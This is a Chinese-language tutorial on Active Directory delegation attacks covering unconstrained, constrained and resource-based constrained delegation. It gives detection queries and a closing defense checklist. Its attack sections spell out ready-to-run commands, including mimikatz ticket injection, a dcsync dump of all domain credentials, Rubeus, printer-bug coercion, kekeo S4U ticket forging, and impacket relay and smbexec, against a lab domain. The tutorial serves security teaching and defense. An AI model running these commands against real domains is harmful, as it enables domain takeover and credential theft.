内网渗透-委派攻击详解
字数 1582 2025-08-04 22:51:28
域委派攻击详解与防御指南
一、域委派基础概念
1.1 什么是域委派
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简言之:当用户A访问服务B时,服务B可以拿着用户A的凭证去访问服务C,这个过程称为委派。
1.2 委派分类
委派攻击分为三种主要类型:
- 非约束委派攻击
- 约束委派攻击
- 基于资源委派攻击
二、非约束委派攻击
2.1 非约束委派概述
- 定义:服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT模拟该用户访问任意服务。
- 配置要求:需要SeEnableDelegation特权,通常仅授予域管理员。
- 属性标识:
- 机器账号:userAccountControl属性包含WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION (0x81000=528384)
- 服务账号:userAccountControl属性包含NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION (0x80200=524800)
2.2 攻击流程
- 用户访问配置了非约束委派的服务器(ServerA)
- DC检查ServerA的机器账号属性,发现是非约束委派
- DC将用户的TGT放在ST票据中发送给ServerA
- ServerA验证ST票据并获取用户TGT,存储在lsass进程中
- 攻击者获取ServerA权限后,可利用此TGT模拟用户访问任何服务
2.3 检测方法
使用PowerView查询:
Import-Module .\PowerView.ps1
Get-NetComputer -Unconstrained -Domain redteam.club # 查询非约束主机
Get-NetUser -Unconstrained -Domain redteam.club | select name # 查询非约束用户
使用AdFind查询:
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName # 非约束委派主机
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName # 非约束委派用户
2.4 攻击案例
- 诱导域管理员访问配置了非约束委派的机器
- 导出域管凭据:
kerberos::ptt 凭证名称 kerberos::list - 访问域控:
dir \\ad.redteam.club\c$
2.5 非约束委派与Spooler服务结合攻击
- 使用Rubeus监听事件:
Rubeus.exe monitor /interval:1 /filteruser:ad1$ - 利用打印服务强制域控验证:
SpoolSample.exe AD ad1 12server2 - 获取并处理TGT票据:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的base64")) - 注入票据:
或使用mimikatz:Rubeus.exe ptt /ticket:base64kerberos::ptt XXX.kirbi lsadump::dcsync /domain:redteam.club /all /csv
三、约束委派攻击
3.1 约束委派原理
- 引入了S4U协议扩展:
- S4U2Self:代表自身请求针对其自身的可转发的Kerberos服务票据(ST1)
- S4U2proxy:以用户的名义请求其它服务的ST2
- 约束委派限制了S4U2proxy扩展的范围
3.2 攻击流程
- 获取配置了约束委派的服务账号的密码或Hash
- 伪造S4U请求:
- 请求服务用户的TGT
- 使用该TGT通过S4U2proxy协议获取目标服务的ST
3.3 检测方法
使用AdFind查询约束委派用户:
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
3.4 攻击案例
- 使用kekeo请求服务用户TGT:
或使用NTLM Hash:tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbitgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX - 伪造S4U请求获取ST:
tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@reteam.club /service:cifs/ad1.redteam.club - 导入票据访问目标服务:
kerberos::ptt TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.kirbi
四、基于资源的约束委派(RBCD)
4.1 RBCD原理
- Windows Server 2012引入
- 机器自身可以决定谁可以被委派来控制它
- 通过设置msDS-AllowedToActOnBehalfOfOtherIdentity属性配置
4.2 攻击方法
- 查询域普通用户加入的机器:
// C#代码查询mS-DS-CreatorSID属性 - 使用工具修改委派:
SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142 redteam.club - 获取服务票据:
python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator - 获取主机权限:
export KRB5CCNAME=administrator.ccache python3 smbexec.py -no-pass -k 12server2.redteam.club
4.3 利用普通域账号提升权限
- 创建机器账号:
python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123" - 中继攻击:
python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec\$ -debug - 触发打印机漏洞:
python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139
五、防御措施
-
高权限账号设置禁止委派属性
- 将高权限账号加入Protected Users组(Windows Server 2012 R2及以上)
-
加强Kerberos认证安全
- 禁用DES和RC4等弱加密算法
- 优先使用AES256加密
-
监控与审计
- 监控非约束委派和约束委派配置变更
- 审计敏感服务账号的委派设置
-
最小权限原则
- 仅为必要服务配置委派
- 限制委派范围到最小必需服务
-
定期检查
- 定期检查域内委派配置
- 及时撤销不必要的委派权限
通过以上详细分析,我们可以全面了解域委派攻击的各种技术细节、检测方法和防御措施,为域安全防护提供有力支持。